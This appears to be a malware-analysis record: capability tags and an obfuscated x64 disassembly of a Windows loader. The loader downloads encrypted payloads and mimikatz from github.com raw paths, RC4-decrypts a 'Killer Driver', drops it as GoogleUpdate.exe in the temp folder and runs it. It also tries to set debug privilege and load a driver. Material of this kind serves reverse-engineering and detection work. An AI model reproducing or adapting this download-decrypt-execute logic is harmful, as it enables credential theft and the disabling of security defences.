Function at 0x140004cf0
Capabilities:
Create process on windows
Encrypt data using rc4 via systemfunction032
Get common file path
Terminate process

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x618
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x580], xmm6
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x578], rax
lea rbx, [rbp + 0x110]
lea rdi, str.___Process_for__ws_created_and_executed_successfully._n
mov r15, qword [sym.imp.KERNEL32.dll_GetLastError]
lea r14, str.github.com
xorps xmm6, xmm6
mov eax, 0x3ad74567
jmp 0x140004d7d
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc5a04d35
mov ecx, 0x6a163993
nop word cs:[rax + rax]
nop dword [rax]
cmove eax, ecx
cmp dword [0x140038adc], 0xa
cmovl eax, ecx
cmp eax, 0x5ca0129
jg 0x140004df0
cmp eax, 0xc65685e1
jle 0x140004e60
cmp eax, 0xf36e393e
jle 0x140004f30
cmp eax, 0xfba5c60f
jle 0x1400050bf
cmp eax, 0xfe05606a
jle 0x1400052fe
cmp eax, 0x3f2f774
jle 0x1400057e2
cmp eax, 0x3f2f775
je 0x1400061b7
cmp eax, 0x4353ffc
je 0x1400061e9
cmp eax, 0x57f5669
jne 0x140004d7d
mov eax, 0xc43433f6
mov ecx, dword [rbp + 8]
mov dword [rbp + 0x8c], ecx
jmp 0x140004d7d
cmp eax, 0x45667391
jg 0x140004ed0
cmp eax, 0x2b2b0cf0
jle 0x140004f7b
cmp eax, 0x3828dbad
jle 0x14000511d
cmp eax, 0x3def3b4e
jle 0x14000533d
cmp eax, 0x41617135
jle 0x14000581b
cmp eax, 0x41617136
je 0x140006207
cmp eax, 0x41c07011
je 0x140006225
cmp eax, 0x41f5ac07
jne 0x140004d7d
mov eax, 0x35c1ffbf
jmp 0x140004d7d
cmp eax, 0xaa35c1b9
jle 0x140004fc6
cmp eax, 0xbfd042d5
jle 0x140005167
cmp eax, 0xc43433f5
jle 0x14000542d
cmp eax, 0xc4b23c6a
jle 0x14000584f
cmp eax, 0xc4b23c6b
je 0x14000623e
cmp eax, 0xc5a04d35
je 0x14000625c
cmp eax, 0xc5c930f9
jne 0x140004d7d
cmp dword [rbp + 0x10], 0
mov eax, 0xfba5c610
mov ecx, 0xa3882929
cmove eax, ecx
jmp 0x140004d7d
cmp eax, 0x61978a10
jle 0x140005028
cmp eax, 0x6a163992
jle 0x1400051a6
cmp eax, 0x6dd77ff2
jg 0x14000546c
cmp eax, 0x6c7c9184
jg 0x1400058ac
cmp eax, 0x6b0a5bde
je 0x140006266
cmp eax, 0x6b6f2413
jne 0x140006b0c
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfe05606b
mov ecx, 0x4891b37b
jmp 0x140004d70
cmp eax, 0xdf514f2a
jle 0x1400051f0
cmp eax, 0xe5b474be
jle 0x1400054a4
cmp eax, 0xee98a510
jg 0x140005924
cmp eax, 0xe73f0c24
je 0x14000628e
cmp eax, 0xed26e0c7
jne 0x140006b18
mov eax, 0x6dd77ff3
mov dword [rbp + 0x80], 0xffffffff
jmp 0x140004d7d
cmp eax, 0x191a9c80
jg 0x140005226
cmp eax, 0x107a0cc2
jg 0x1400054d8
cmp eax, 0xabf52dc
jg 0x140005958
cmp eax, 0x5ca012a
je 0x140006298
cmp eax, 0x73e479f
jne 0x140004d7d
mov eax, 0x252fad83
mov dword [rbp + 0x84], 1
jmp 0x140004d7d
cmp eax, 0xa1baa3a6
jg 0x14000525c
cmp eax, 0x8be50583
jg 0x14000558b
cmp eax, 0x89bf4eb3
jg 0x140005978
cmp eax, 0x80f8b388
je 0x1400062ad
cmp eax, 0x8821237d
jne 0x140004d7d
sub rsp, 0x20
call fcn.140008a50
add rsp, 0x20
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbf40db77
mov ecx, 0x45667392
jmp 0x140004d70
cmp eax, 0x4aa275ad
jg 0x1400052a0
cmp eax, 0x49095df5
jg 0x1400055bc
cmp eax, 0x473ffb60
jg 0x1400059b8
cmp eax, 0x45667392
je 0x1400062b7
cmp eax, 0x463af07a
jne 0x140004d7d
mov rcx, qword [rbp - 0x60]
sub rsp, 0x20
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rsi
add rsp, 0x20
mov rax, qword [rbp + 0xd0]
mov rcx, qword [rax + 8]
sub rsp, 0x20
call rsi
add rsp, 0x20
mov rax, qword [rbp + 0xb8]
mov rcx, qword [rbp + 0xb8]
sub rsp, 0x20
mov rdx, r14
lea r8, str._Roald7Amundsen_DorkYou_raw_refs_heads_master_mimikatz_win_11.exe
call section..text
add rsp, 0x20
mov rax, qword [rbp + 0xb8]
mov eax, 0xa3c4127b
jmp 0x140004d7d
cmp eax, 0xf7363e3d
jg 0x1400055fb
cmp eax, 0xf63eb7e8
jg 0x140005b3b
cmp eax, 0xf36e393f
je 0x1400062c1
cmp eax, 0xf4ad725b
jne 0x140004d7d
mov rcx, qword [rbp + 0x20]
sub rsp, 0x20
call fcn.140007170
add rsp, 0x20
mov dword [rbp + 0x10], eax
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb9c75abc
mov ecx, 0x1b7653d6
jmp 0x140004d70
cmp eax, 0x3585fb41
jg 0x140005633
cmp eax, 0x2d897815
jg 0x140005b5b
cmp eax, 0x2b2b0cf1
je 0x1400062d2
cmp eax, 0x2bae16a1
jne 0x140004d7d
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfc1c2136
mov ecx, 0x3d6d8442
jmp 0x140004d70
cmp eax, 0xb9c75abb
jg 0x140005668
cmp eax, 0xaf6fdb8f
jg 0x140005ba3
cmp eax, 0xaa35c1ba
je 0x1400062e6
cmp eax, 0xaa6c8174
jne 0x140004d7d
mov eax, 0xc43433f6
mov ecx, dword [rbp + 0x14]
mov dword [rbp + 0x8c], ecx
jmp 0x140004d7d
cmp eax, 0x67379b61
jg 0x14000569a
cmp eax, 0x666fa005
jg 0x140005bd0
cmp eax, 0x61978a11
je 0x140004d49
cmp eax, 0x6484008b
jne 0x140004d7d
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfea5307a
mov ecx, 0x562e0dd5
jmp 0x140004d70
cmp eax, 0xd2ea1bdf
jg 0x1400056d9
cmp eax, 0xcca99770
jg 0x140005c0e
cmp eax, 0xc65685e2
je 0x140006338
cmp eax, 0xc65a1b29
jne 0x140004d7d
mov eax, 0xc026d083
jmp 0x140004d7d
cmp eax, 0x1ef853e6
jg 0x14000572c
cmp eax, 0x1aa509c8
jg 0x140005c42
cmp eax, 0x191a9c81
je 0x140006342
cmp eax, 0x1a68bcdd
jne 0x140004d7d
mov eax, 0x4353ffc
jmp 0x140004d7d
cmp eax, 0xa5d0f863
jg 0x140005764
cmp eax, 0xa3c4127a
jg 0x140005c62
cmp eax, 0xa1baa3a7
je 0x140006360
cmp eax, 0xa3882929
jne 0x140004d7d
sub rsp, 0x20
call r15
add rsp, 0x20
mov dword [rbp + 0xc], eax
mov eax, 0xe19e7250
jmp 0x140004d7d
cmp eax, 0x562e0dd4
jg 0x1400057a3
cmp eax, 0x4e42a361
jg 0x140005c91
cmp eax, 0x4aa275ae
je 0x1400063a3
cmp eax, 0x4b50e486
jne 0x140004d7d
sub rsp, 0x20
lea rcx, str.____Failed_to_set_Debug_Privilege_n
call fcn.140006b70
add rsp, 0x20
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xaf6fdb90
mov ecx, 0x41f5ac07
jmp 0x140004d70
cmp eax, 0xfc776b31
jg 0x140005cc0
cmp eax, 0xfba5c610
je 0x1400063bc
cmp eax, 0xfc1c2136
jne 0x140004d7d
sub rsp, 0x20
lea rcx, str.____Failed_to_load_driver_n
call fcn.140006b70
add rsp, 0x20
mov eax, 0x3d6d8442
jmp 0x140004d7d
cmp eax, 0x3b6471c0
jg 0x140005ce0
cmp eax, 0x3828dbae
je 0x1400063d0
cmp eax, 0x3ad74567
jne 0x140004d7d
mov eax, 0x10
call fcn.140008fb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xc8], rax
mov eax, 0x10
call fcn.140008fb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xe0], rax
mov eax, 0x10
call fcn.140008fb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xd8], rax
mov eax, 0x210
call fcn.140008fb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x70], rax
mov eax, 0x70
call fcn.140008fb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xc0], rax
mov eax, 0x20
call fcn.140008fb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xd0], rax
mov eax, 0x10
call fcn.140008fb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xb8], rax
lea rsi, [rbp + 0x560]
mov qword [rbp - 8], rsi
mov rax, qword [rbp - 8]
sub rsp, 0x20
lea rcx, str.Ingrese_la_clave:
call fcn.140006b70
add rsp, 0x20
mov qword [rbp - 0x10], rsi
mov eax, 0x6c7c9185
jmp 0x140004d7d
cmp eax, 0xc1c310b1
jg 0x140005d28
cmp eax, 0xbfd042d6
je 0x1400063e5
cmp eax, 0xc026d083
jne 0x140004d7d
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf69a383e
mov ecx, 0xdf514f2b
jmp 0x140004d70
cmp eax, 0x7205b55e
jg 0x140005d48
cmp eax, 0x6dd77ff3
je 0x14000640d
cmp eax, 0x70781665
jne 0x140004d7d
sub rsp, 0x20
call fcn.140004b50
add rsp, 0x20
mov eax, 0xe5b474bf
jmp 0x140004d7d
cmp eax, 0xe48ae386
jg 0x140005e4b
cmp eax, 0xdf514f2b
je 0x140006424
cmp eax, 0xe19e7250
jne 0x140004d7d
mov eax, 0xfb9c4197
mov ecx, dword [rbp + 0xc]
mov dword [rbp + 0x94], ecx
jmp 0x140004d7d
cmp eax, 0x13fb3775
jg 0x140005e7f
cmp eax, 0x107a0cc3
je 0x140006442
cmp eax, 0x1307738e
jne 0x140004d7d
mov rax, qword [rbp - 0x30]
lea rax, [rbp + 0x350]
mov qword [rbp + 0xb0], rax
mov rdx, qword [rbp + 0xb0]
sub rsp, 0x20
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
add rsp, 0x20
lea rcx, [rbp + 0x140]
mov qword [rbp - 0x38], rcx
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0xa0], rcx
mov rax, qword [rbp + 0xb0]
mov rcx, qword [rbp + 0xa0]
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov edx, 0x104
mov r8, 0xffffffffffffffff
lea r9, str._wstest.bin
call fcn.140003990
add rsp, 0x10
call fcn.140002440
add rsp, 0x20
test eax, eax
mov eax, 0x8bbc3ff2
mov ecx, 0xe59cf512
cmove eax, ecx
jmp 0x140004d7d
cmp eax, 0x92d80ced
jg 0x140005f2d
cmp eax, 0x8be50584
je 0x140006452
cmp eax, 0x902cd7c4
jne 0x140004d7d
mov eax, 0x3828dbae
mov r13d, 0xffffffff
jmp 0x140004d7d
cmp eax, 0x4a0e85a8
jg 0x140005f73
cmp eax, 0x49095df6
je 0x140006468
cmp eax, 0x499ac10f
jne 0x140004d7d
sub rsp, 0x20
lea rcx, str.____Failed_to_Download_remote_Killer_Cipher_n
call fcn.140006b70
add rsp, 0x20
mov eax, 0x902cd7c4
jmp 0x140004d7d
cmp eax, 0xf9ce3288
jg 0x140005f93
cmp eax, 0xf7363e3e
je 0x140006472
cmp eax, 0xf7a7dfa5
jne 0x140004d7d
cmp qword [rbp - 0x80], 0
mov eax, 0x6b6f2413
mov ecx, 0x107a0cc3
cmove eax, ecx
jmp 0x140004d7d
cmp eax, 0x35d34270
jg 0x140005fd0
cmp eax, 0x3585fb42
je 0x14000648c
cmp eax, 0x35c1ffbf
jne 0x140004d7d
mov eax, 0xabf52dd
mov dword [rbp + 0x88], 0
jmp 0x140004d7d
cmp eax, 0xbf40db76
jg 0x140006004
cmp eax, 0xb9c75abc
je 0x1400064aa
cmp eax, 0xbd1be27f
jne 0x140004d7d
mov eax, 0xbfd042d6
mov dword [rbp + 0x7c], 0xffffffff
jmp 0x140004d7d
cmp eax, 0x68b11ffd
jg 0x140006038
cmp eax, 0x67379b62
je 0x1400064c5
cmp eax, 0x67f23fe6
jne 0x140004d7d
sub rsp, 0x20
lea rcx, str.Clave_incorrecta._Saliendo_del_programa._n
call fcn.140006b70
add rsp, 0x20
mov eax, 0x40ddd7aa
jmp 0x140004d7d
cmp eax, 0xd70a1389
jg 0x140006067
cmp eax, 0xd2ea1be0
je 0x1400064e6
cmp eax, 0xd42282cb
jne 0x140004d7d
sub rsp, 0x20
lea rcx, str.____Failed_to_write_file_n
call fcn.140006b70
add rsp, 0x20
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd70a138a
mov ecx, 0xa911c21f
jmp 0x140004d70
cmp eax, 0x252fad82
jg 0x140006096
cmp eax, 0x1ef853e7
je 0x140006518
cmp eax, 0x24ab79c4
jne 0x140004d7d
cmp qword [rbp - 0x70], 0
mov eax, 0x73eb5185
mov ecx, 0x2b2b0cf1
cmove eax, ecx
jmp 0x140004d7d
cmp eax, 0xa911c21e
jg 0x1400060c5
cmp eax, 0xa5d0f864
je 0x140006522
cmp eax, 0xa7787d93
jne 0x140004d7d
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x35d34271
mov ecx, 0x7205b55f
jmp 0x140004d70
cmp eax, 0x5e8c51ea
jg 0x140006103
cmp eax, 0x562e0dd5
je 0x140006540
cmp eax, 0x5d5baf0c
jne 0x140004d7d
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4a0e85a9
mov ecx, 0x3f2f775
jmp 0x140004d70
cmp eax, 0xfe05606b
je 0x140006577
cmp eax, 0xfea5307a
jne 0x140004d7d
sub rsp, 0x20
call r15
lea rcx, str.____CreateProcessW_failed:__d_n
mov edx, eax
call fcn.140006b70
add rsp, 0x20
mov eax, 0x562e0dd5
jmp 0x140004d7d
cmp eax, 0x3def3b4f
je 0x1400066a4
cmp eax, 0x40ddd7aa
jne 0x140004d7d
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe73f0c24
mov ecx, 0xf0438195
jmp 0x140004d70
cmp eax, 0xc43433f6
je 0x1400066bc
cmp eax, 0xc4a4eb3d
jne 0x140004d7d
lea rsi, [rbp + 0x130]
mov qword [rbp - 0x18], rsi
mov rax, qword [rbp - 0x18]
sub rsp, 0x20
mov rcx, rsi
mov rdx, r14
lea r8, str._Roald7Amundsen_DorkYou_raw_refs_heads_master_cipherD.bin
call section..text
add rsp, 0x20
mov qword [rbp + 0x60], rsi
mov rax, qword [rbp + 0x60]
cmp qword [rax], 0
mov eax, 0x98b314e3
mov ecx, 0xa4a8bb2a
cmove eax, ecx
jmp 0x140004d7d
cmp eax, 0x6c7c9185
je 0x1400066e7
cmp eax, 0x6d88c262
jne 0x140004d7d
mov rax, qword [rbp - 0x20]
mov rdx, qword [rax]
sub rsp, 0x20
lea rcx, str.___killerCipher.len___d_bytes_n
call fcn.140006b70
add rsp, 0x20
lea rsi, [rbp + 0x120]
mov qword [rbp - 0x28], rsi
mov rax, qword [rbp - 0x28]
sub rsp, 0x20
mov rcx, rsi
mov rdx, r14
lea r8, str._Roald7Amundsen_DorkYou_raw_refs_heads_master_keyD.bin
call section..text
add rsp, 0x20
mov qword [rbp + 0x58], rsi
mov rax, qword [rbp + 0x58]
cmp qword [rax], 0
mov eax, 0x73eb5185
mov ecx, 0x5ca012a
cmove eax, ecx
jmp 0x140004d7d
cmp eax, 0xee98a511
je 0x14000672b
cmp eax, 0xf0438195
jne 0x140004d7d
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe73f0c24
mov ecx, 0xbd1be27f
jmp 0x140004d70
cmp eax, 0xabf52dd
je 0x140006749
cmp eax, 0xf9fe38e
jne 0x140004d7d
mov eax, 0x8be50584
jmp 0x140004d7d
cmp eax, 0x89bf4eb4
je 0x14000676f
cmp eax, 0x8bbc3ff2
jne 0x140004d7d
mov rdx, qword [rbp + 0xa0]
sub rsp, 0x20
mov rcx, rbx
call fcn.140002b70
add rsp, 0x20
test eax, eax
setne byte [rbp + 0xee]
mov eax, 0x41c07011
jmp 0x140004d7d
cmp eax, 0x473ffb61
je 0x14000678d
cmp eax, 0x4891b37b
jne 0x140004d7d
mov rax, qword [rbp + 0x98]
mov rdx, qword [rax]
sub rsp, 0x20
lea rcx, str.___killerExeKey.data__0x_p_n
call fcn.140006b70
add rsp, 0x20
mov rsi, qword [rbp + 0xc8]
mov rdx, qword [rsi + 8]
sub rsp, 0x20
lea rcx, str.___killerExeKey.len___d_bytes_n
call fcn.140006b70
add rsp, 0x20
mov rax, qword [rbp + 0xe0]
mov qword [rbp + 0x38], rax
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
movups xmmword [rax], xmm6
mov rax, qword [rbp + 0xd8]
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x30]
mov rax, qword [rbp + 0x30]
movups xmmword [rax], xmm6
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0xe0]
mov qword [rcx + 8], rax
mov rax, qword [rbp + 0x40]
mov eax, dword [rax]
mov rcx, qword [rbp + 0xe0]
mov dword [rcx + 4], eax
mov rcx, qword [rbp + 0xe0]
mov dword [rcx], eax
mov rax, qword [rbp + 0x98]
mov rax, qword [rax]
mov rcx, qword [rbp + 0xd8]
mov qword [rcx + 8], rax
mov eax, dword [rsi + 8]
mov rcx, qword [rbp + 0xd8]
mov dword [rcx + 4], eax
mov rcx, qword [rbp + 0xd8]
mov dword [rcx], eax
mov rcx, qword [rbp + 0xe0]
mov rdx, qword [rbp + 0xd8]
sub rsp, 0x20
call qword [0x140038b48]
lea rcx, str.___Killer_Driver_Decrypted_n___Check_Cipher_for__Mz__sig_n
call fcn.140006b70
add rsp, 0x20
mov rax, qword [rbp + 0x70]
mov qword [rbp - 0x50], rax
mov rax, qword [rbp - 0x50]
mov rax, qword [rbp + 0x70]
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xb0]
mov rcx, qword [rbp + 0xa8]
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov edx, 0x104
mov r8, 0xffffffffffffffff
lea r9, str._wsGoogleUpdate.exe
call fcn.140003990
add rsp, 0x30
mov rcx, qword [rbp + 0xe0]
mov rdx, qword [rbp + 0xa8]
sub rsp, 0x20
call fcn.140002b70
add rsp, 0x20
mov dword [rbp + 0x1c], eax
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfe05606b
mov ecx, 0xf9fe38e
jmp 0x140004d70
cmp eax, 0xf63eb7e9
je 0x1400067ab
cmp eax, 0xf69a383e
jne 0x140004d7d
mov eax, 0xdf514f2b
jmp 0x140004d7d
cmp eax, 0x2d897816
je 0x1400067c0
cmp eax, 0x31908bd7
jne 0x140004d7d
sub rsp, 0x20
lea rcx, str.____Failed_to_Download_remote_Killer_Cipher_n
call fcn.140006b70
add rsp, 0x20
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3585fb42
mov ecx, 0xfd131545
jmp 0x140004d70
cmp eax, 0xaf6fdb90
je 0x1400067de
cmp eax, 0xb6aaba21
jne 0x140004d7d
cmp qword [rbp - 0x78], 0
mov eax, 0x164d04b6
mov ecx, 0x499ac10f
cmove eax, ecx
jmp 0x140004d7d
cmp eax, 0x666fa006
je 0x1400067fc
cmp eax, 0x668b6299
jne 0x140004d7d
mov rcx, qword [rbp + 0xa0]
sub rsp, 0x20
call fcn.140003be0
add rsp, 0x20
test eax, eax
mov eax, 0x5d5baf0c
mov ecx, 0x2bae16a1
cmove eax, ecx
jmp 0x140004d7d
cmp eax, 0xcca99771
je 0x140006806
cmp eax, 0xcfaf2ab6
jne 0x140004d7d
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x49095df6
mov ecx, 0xf9ce3289
jmp 0x140004d70
cmp eax, 0x1aa509c9
je 0x1400068cf
cmp eax, 0x1b7653d6
jne 0x140004d7d
mov eax, 0xc5c930f9
jmp 0x140004d7d
cmp eax, 0xa3c4127b
je 0x1400068ed
cmp eax, 0xa4a8bb2a
jne 0x140004d7d
cmp qword [rbp + 0x138], 0
setne byte [rbp + 0xef]
mov eax, 0xdcbc664a
jmp 0x140004d7d
cmp eax, 0x4e42a362
je 0x14000697c
cmp eax, 0x53676c42
jne 0x140004d7d
lea rax, [rbp + 0xf0]
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov eax, 0x362e8349
jmp 0x140004d7d
cmp eax, 0xfc776b32
je 0x14000699a
cmp eax, 0xfd131545
jne 0x140004d7d
mov eax, 0xcfaf2ab6
jmp 0x140004d7d
cmp eax, 0x3b6471c1
je 0x1400069a4
cmp eax, 0x3d6d8442
jne 0x140004d7d
sub rsp, 0x20
lea rcx, str.____Failed_to_load_driver_n
call fcn.140006b70
add rsp, 0x20
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfc1c2136
mov ecx, 0x666fa006
jmp 0x140004d70
cmp eax, 0xc1c310b2
je 0x1400069ae
cmp eax, 0xc21ecdf4
jne 0x140004d7d
mov eax, 0x1aa509c9
jmp 0x140004d7d
cmp eax, 0x7205b55f
je 0x1400069b8
cmp eax, 0x73eb5185
jne 0x140004d7d
mov rax, qword [rbp + 0x58]
mov rdx, qword [rax]
sub rsp, 0x20
lea rcx, str.___killerKey.data__0x_p_n
call fcn.140006b70
add rsp, 0x20
mov rdx, qword [rbp + 0x128]
sub rsp, 0x20
lea rcx, str.___killerKey.len___d_bytes_n
call fcn.140006b70
lea rcx, str.advapi32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rsp, 0x20
mov qword [0x140038b48], rax
mov qword [rbp + 0x50], rbx
mov rcx, qword [rbp + 0x50]
mov rcx, qword [rbp + 0x50]
movups xmmword [rcx], xmm6
lea rdx, [rbp + 0x100]
mov qword [rbp + 0x48], rdx
mov rcx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x48]
movups xmmword [rcx], xmm6
mov rcx, qword [rbp + 0x60]
mov rcx, qword [rcx]
mov qword [rbp + 0x118], rcx
mov rcx, qword [rbp - 0x20]
mov ecx, dword [rcx]
mov dword [rbp + 0x114], ecx
mov dword [rbp + 0x110], ecx
mov rcx, qword [rbp + 0x58]
mov rcx, qword [rcx]
mov qword [rbp + 0x108], rcx
mov ecx, dword [rbp + 0x128]
mov dword [rbp + 0x104], ecx
mov dword [rbp + 0x100], ecx
sub rsp, 0x20
mov rcx, rbx
call rax
lea rcx, str.___Killer_Driver_Decrypted_n___Check_Cipher_for__Mz__sig_n
call fcn.140006b70
add rsp, 0x20
lea rax, [rbp + 0x350]
mov qword [rbp - 0x30], rax
mov eax, 0x1307738e
jmp 0x140004d7d
cmp eax, 0xe48ae387
je 0x1400069f1
cmp eax, 0xe59cf512
jne 0x140004d7d
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xaf6fdb90
mov ecx, 0x4b50e486
jmp 0x140004d70
cmp eax, 0x13fb3776
je 0x140006a0a
cmp eax, 0x164d04b6
jne 0x140004d7d
mov rax, qword [rbp + 0x68]
mov rdx, qword [rax]
sub rsp, 0x20
lea rcx, str.___killerExeCipher.data__0x_p_n
call fcn.140006b70
add rsp, 0x20
lea rax, [rbp + 0xf8]
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
mov rdx, qword [rax]
sub rsp, 0x20
lea rcx, str.___killerExeCipher.len___d_bytes_n
call fcn.140006b70
add rsp, 0x20
mov rax, qword [rbp + 0xc8]
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x48]
mov rcx, qword [rbp + 0xc8]
sub rsp, 0x20
mov rdx, r14
lea r8, str._Roald7Amundsen_DorkYou_raw_refs_heads_master_keyK.bin
call section..text
add rsp, 0x20
mov rax, qword [rbp + 0xc8]
mov qword [rbp + 0x98], rax
mov rax, qword [rbp + 0x98]
cmp qword [rax], 0
setne byte [rbp + 0xec]
mov eax, 0x27aa715b
jmp 0x140004d7d
cmp eax, 0x92d80cee
je 0x140006a14
cmp eax, 0x98b314e3
jne 0x140004d7d
mov rax, qword [rbp + 0x60]
mov rdx, qword [rax]
sub rsp, 0x20
lea rcx, str.___killerCipher.data__0x_p_n
call fcn.140006b70
add rsp, 0x20
lea rax, [rbp + 0x138]
mov qword [rbp - 0x20], rax
mov eax, 0x6d88c262
jmp 0x140004d7d
cmp eax, 0x4a0e85a9
je 0x140006a27
cmp eax, 0x4a9c8266
jne 0x140004d7d
mov eax, 0x53676c42
jmp 0x140004d7d
cmp eax, 0xf9ce3289
je 0x140006a45
cmp eax, 0xfb9c4197
jne 0x140004d7d
mov eax, dword [rbp + 0x94]
mov dword [rbp + 8], eax
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc21ecdf4
mov ecx, 0x1aa509c9
jmp 0x140004d70
cmp eax, 0x35d34271
je 0x140006a63
cmp eax, 0x362e8349
jne 0x140004d7d
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6b0a5bde
mov ecx, 0xaa35c1ba
jmp 0x140004d70
cmp eax, 0xbf40db77
je 0x140006a88
cmp eax, 0xbf52ffa3
jne 0x140004d7d
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5ea91ab0
mov ecx, 0xcca99771
jmp 0x140004d70
cmp eax, 0x68b11ffe
je 0x140006a9f
cmp eax, 0x69257620
jne 0x140004d7d
cmp byte [rbp + 0xed], 0
mov eax, 0xf63eb7e9
mov ecx, 0x164d04b6
cmovne eax, ecx
jmp 0x140004d7d
cmp eax, 0xd70a138a
je 0x140006aa9
cmp eax, 0xdcbc664a
jne 0x140004d7d
cmp byte [rbp + 0xef], 0
mov eax, 0x4e42a362
mov ecx, 0x98b314e3
cmovne eax, ecx
jmp 0x140004d7d
cmp eax, 0x252fad83
je 0x140006ac7
cmp eax, 0x27aa715b
jne 0x140004d7d
cmp byte [rbp + 0xec], 0
mov eax, 0xe48ae387
mov ecx, 0x6b6f2413
cmovne eax, ecx
jmp 0x140004d7d
cmp eax, 0xa911c21f
je 0x140006aec
cmp eax, 0xa98a1ae2
jne 0x140004d7d
mov rdx, qword [rbp + 0xa8]
sub rsp, 0x20
mov rcx, rdi
call fcn.140006b70
add rsp, 0x20
mov rax, qword [rbp + 0xd0]
mov eax, 0xa1baa3a7
jmp 0x140004d7d
cmp eax, 0x5e8c51eb
je 0x140006af6
cmp eax, 0x5ea91ab0
jne 0x140004d7d
mov rax, qword [rbp + 0xc0]
mov rcx, qword [rbp + 0xd0]
movups xmmword [rax + 0x50], xmm6
movups xmmword [rax + 0x40], xmm6
movups xmmword [rax + 0x30], xmm6
movups xmmword [rax + 0x20], xmm6
movups xmmword [rax + 0x10], xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x60], 0
mov rax, qword [rbp + 0xc0]
mov dword [rax], 0x68
mov rax, qword [rbp + 0xc0]
mov rdx, qword [rbp + 0xd0]
mov rsi, qword [rbp + 0xb0]
mov rcx, qword [rbp + 0xa8]
sub rsp, 0x50
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
add rsp, 0x50
mov eax, 0xcca99771
jmp 0x140004d7d
sub rsp, 0x20
lea rcx, str.___Driver_loaded_successfully_n
call fcn.140006b70
add rsp, 0x20
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4a0e85a9
mov ecx, 0x68b11ffe
jmp 0x140004d70
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1a68bcdd
mov ecx, 0x92d80cee
jmp 0x140004d70
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x463af07a
mov ecx, 0xa3c4127b
jmp 0x140004d70
cmp byte [rbp + 0xee], 0
mov eax, 0x191a9c81
mov ecx, 0xa7787d93
cmovne eax, ecx
jmp 0x140004d7d
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbf40db77
mov ecx, 0x8821237d
jmp 0x140004d70
mov eax, 0x61978a11
jmp 0x140004d7d
sub rsp, 0x20
